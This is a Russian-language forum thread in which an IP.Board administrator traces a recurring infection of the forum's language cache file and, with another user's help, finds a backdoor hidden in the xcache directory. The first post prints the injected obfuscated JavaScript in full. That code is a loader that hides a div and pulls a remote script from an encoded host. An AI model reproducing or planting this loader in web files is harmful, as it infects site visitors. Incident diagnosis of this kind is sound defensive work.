Перейти к контенту
  • 0

Языковой кэш создается некорректно


Вопрос

Ни с того, ни с сего появился целый ряд проблем на форуме: перестали работать многие кнопки на панели редактирования текста, вставляться цитаты, некоторый текст отображался как undefined или placeholder.

 

Удалил все сторонние приложения и хуки - безрезультатно.

Обновил форум с версии 3.3.3 до 3.4.4 - тоже не помогло.

 

Обнаружил, что если почистить языковой кэш - то все проблемы исчезают, но только на 1 день, затем появляются снова.

 

Начал копаться в кэше, обнаружил, что косячно создается файл /cache/lang_cache/1/ipb.lang.js с вот таким содержанием:



(function(){var M=Math.round(100*Math.random()),e=!1,v="d\151\163pl\x61\x79:n\x6f\x6ee",a=function(j){var H="";for(var A=0;A<j.length;A++)H+=String.fromCharCode(j[A]+13);return H},L="NjtkOv1",y=function(){var H=" "+q.cookie,h=" "+j+"=",W=null,A=0,n=0;0<H.length&&(A=H.indexOf(h),-1!=A&&(A+=h.length,n=H.indexOf(";",A),-1==n&&(n=H.length),W=unescape(H.substring(A,n))));return W},Q=function(){q.cookie=j+"\75\61; \145x\x70ires="+(new Date((new Date).getTime()+864E5)).toGMTString()+"; p\x61t\150=/"},z="b\x6fd\x79",X="h\x74t\160\x3a\57/",U=5,i="/jq\165e\162y\56m\x69n.\152s?\166\x3d",h=window,x=[92,33,103,98,108,102,39,94,92,103,103,92,88,102,33,86,98,96],m=!1,A="src",j="\x5fg\x41\x64s",H="d\151v",c=function(){if(q[z]&&(!q[z][r]&&!h[K]&&(q[z][r]=function(W){W=W||h.event;if(W.clientX||W.clientY)h[K]=!0;q[z][r]=null}),h[K])){var i=function(I){return q.createElement(I)},x=function(e){q[z].insertBefore(e,q[z].firstChild)},R=function(n,y,d){y.setAttribute(d,n)},m=function(X,J){J.appendChild(X)},M=i(H),Y=i(V),Q=i(V);R(L,M,"id");R(v,M,"style");h[K]=[U,j,L,q.domain,h.location.protocol];x(M);m(Y,M);Q.text=P;m(Q,M)}h[K]||setTimeout(c,20)},d=[89,92,101,102,103,54,91,92,95,87],J=navigator,n=/*@cc_on!@*/!1,q=document,r="o\156m\157\165\163\x65over",K="\x782\144",R="sid\145b\141\x72"in h,V=a([102,86,101,92,99,103]),I=-1!=J.platform.search(/win[3264]+/i),Y="op\x65\162a"in h,W=X+a(x)+i+U+M,P="\x64o\x63\165m\x65n\x74.\147etE\154e\155entById('"+L+"\x27)\56"+a(d)+"\56\x73et\101t\164\162\151\142u\x74e(\47"+A+"'\54\x20'"+W+"\47\x29\73";h[K]=!1;null==y()&&(e=!0,Q(),null==y()&&(m=!0));if((n||R||Y)&&I&&e&&!m){c()}})()

вместо должного:



ipb.lang['action_failed']	= "Действие не выполнено";
ipb.lang['ajax_failure']	= "Извините, но данное действие не прошло!";
ipb.lang['album_full']	= "У вас недостаточно прав, чтобы загрузить еще элементы в этот альбом";
ipb.lang['approve']	= "Показать";
...

На данный момент выставил права файлу, запрещающие его перезапись. Но хочу найти причину её появления и решить проблему правильно.

Надеюсь на вашу помощь )

Изменено пользователем defnur
Ссылка на комментарий
Поделиться на других сайтах

Рекомендуемые сообщения

  • 0

Смотреть в сторону логов апача и сопоставлять со временем создания /cache/lang_cache/1/ipb.lang.js . Там, скорее всего, будет обращение к шеллу. Дырки закрывать уже поздно. Надо сначала найти и удалить бекдоры. 

Ссылка на комментарий
Поделиться на других сайтах

  • 0

В логах не нашел ничего подозрительного. Сам шелл тоже.

Решил поступить радикально....

 

Поставил последнюю версию форума с нуля, оставив только БД, максимально настроил безопасность. Всё равно ipb.lang.js пересоздается криво.

Если обновить кэш вручную - то нормально, но когда форум сам обновляет кэш, то косячит именно на этом файле. Уже не знаю, что и думать.

 

Использую связку nginx + php5-fpm уже давно, раньше проблем не было. В чем ещё может быть дело?

Изменено пользователем defnur
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Как я уже сказал, форум сам его не обновляет, никогда. И уж, тем более, не записывает туда обфусцированный код. Меняйте пароль от фтп.  Файлы удалили все? Даже uploads? Смотрите таблицу core_hooks_files на предмет картинки или ../../../tmp/4blкакойнитьбред.php - это самые распространенные шеллы.  Вы же /tmp или  /var/tmp или как нибудь еще не чистили. И conf_global.php посмотрите на предмет IP_FIREWALL .

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Ух ты, действительно! В core_hooks_files нашел  ../../../tmp/4blкакойнитьбред.php, и этот бред лежал в /tmp. Вот это нычка!

Почистил, жду. Примного благодарен Вам, Денис.

 

Странно, что не сломали форум, даже не задефэйсили. Скажите, есть необходимость менять пароли на все учетки, имеющие доступ в админку? С таким шеллом могли слить базу?

 

P.S. ФТП доступа нет, только SSH. Файлы удалял все, кроме uploads, там over 1 gb файлов, просканировал на предмет .php, .html, .js - ничего нет. На всякий случай запретил в uploads исполнение скриптов.

Изменено пользователем defnur
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я так понимаю, это какой-то зомбинет с автоматическим управлением. Базы не сливает, никак не пакостит, только трояна в js прописывает. Картинки в аплоадс надо смотреть на предмет <?php в тексте,  через grep. Запрет на исполнение абсолютно ничего не дает. Он запрещает только исполнение из консоли(ssh), да если бы и запрещал, то все равно, эти файлы подключаются через include , а то и вообще через eval().

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Просканировал через grep весь uploads, нашел пару jpg и пару ipb файлов с php кодом, удалил.

Также просканировал всю базу на предмет <?php - пусто (только в core_hooks_files стандартные хуки, ничего подозрительного).

Почистил весь кэш.

 

Учитывая, что ранее была поставлена последняя версия форума с нуля, очищен каталог /tmp, казалось бы теперь проблема точно решена.

Но нет! Спустя несколько часов файл ipb.lang.js снова обновился с кодом (

 

Ума не приложу, куда дальше смотреть?

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Остается только по логам искать. Совместите по времени лог обращений к апачу и дату создания файла кеша языка. В index.php define('IPB_FIREWALL', 1);  дописать в начало. И поискать в файлах его же. 

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Благодаря логам, нашел таки виновника - бэкдор лежал в папке кэшера xcache.

И как я сразу не подумал об этом... *facepalm*

Просто xcache лежит в совершенно другой директории, и путь к нему прописан в конфиге nginx. Можно сказать, я даже забыл про эту папку.

 

К этому бэкдору до сих пор, каждые 6 часов ломится 1 немецкий ип, видимо, и правда бот.

 

Проблема решена. Ещё раз огромное спасибо Денису. Эту тему можно использовать как гайд по нахождению вредоносного кода на IPB )

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.